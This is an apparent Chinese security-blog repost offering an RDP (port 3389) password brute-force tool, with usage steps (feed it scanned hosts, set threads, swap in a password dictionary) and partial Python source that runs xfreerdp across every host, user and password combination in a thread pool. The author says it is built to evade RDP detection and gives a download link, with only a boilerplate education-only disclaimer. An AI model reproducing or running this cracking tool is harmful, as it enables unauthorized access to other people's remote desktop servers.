2025年如何破解3389?

admin 2025年5月1日13:48:34评论1 views字数 1401阅读4分40秒阅读模式
2025年如何破解3389?
      破解3389服务器是一个老生常谈的事情,目前网络中rdp检测,导致很多工具用一会就会被kill掉,不能正常运行。经过测试,我用python写了一个破解工具,效率极高,但是吃内存。内存不低于8G,运行在win7以上操作系统,将核心源代码公布如下,大家可以研究,教育为目的。
    打包好的工具和源代码下载地址在最后面
1. 将扫描好的3389端口开放的服务器放到host文件。
2025年如何破解3389?
2. 打开config.ini设置线程大小,机器不太好的,建议100线程,这个可以根据环境调整
2025年如何破解3389?
3. 替换你的字典或者默认即可
2025年如何破解3389?
直接执行rdp.exe即可

部分源代码

自定义扫描的端口、线程、时间

config = configparser.ConfigParser()

config.read('config.ini')

rdp_port = config.getint('PORTS', 'ports_to_scan')

timeout_seconds = config.getint('PORTS', 'timeout_seconds')

max_threads = config.getint('PORTS', 'threads')

hosts_file = "host.txt"

users_file = "user.txt"

passwords_file = "pass.txt"

pwnd = list()

def run_command(command, timeout_seconds):

    try:

        p = subprocess.run(command.split(' '),

                          stdout=subprocess.PIPE,

                          stderr=subprocess.STDOUT,

                          timeout=timeout_seconds,

                          text=True)  

        output = p.stdout

    except subprocess.TimeoutExpired:

        output = "PROCESS_TIMEOUT"

    return output

def crack(host, username, password):

    command = "xfreerdp /u:" + username + " /v:" + host + ":" + str(rdp_port) + " /p:" + password

    output = run_command(command, timeout_seconds)

total_iterations = len(hosts) * len(users) * len(passwords)

progress_bar = tqdm(total=total_iterations, desc="Progress")

with concurrent.futures.ThreadPoolExecutor(max_threads) as executor:

    for h in hosts:

        for u in users:

            for p in passwords:

                if h in pwnd:

                    continue

                executor.submit(crack, h, u, p).add_done_callback(update_progress)

下载地址:

原文始发于微信公众号(7维空间):2025年如何破解3389?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月1日13:48:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2025年如何破解3389?https://cn-sec.com/archives/4023596.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息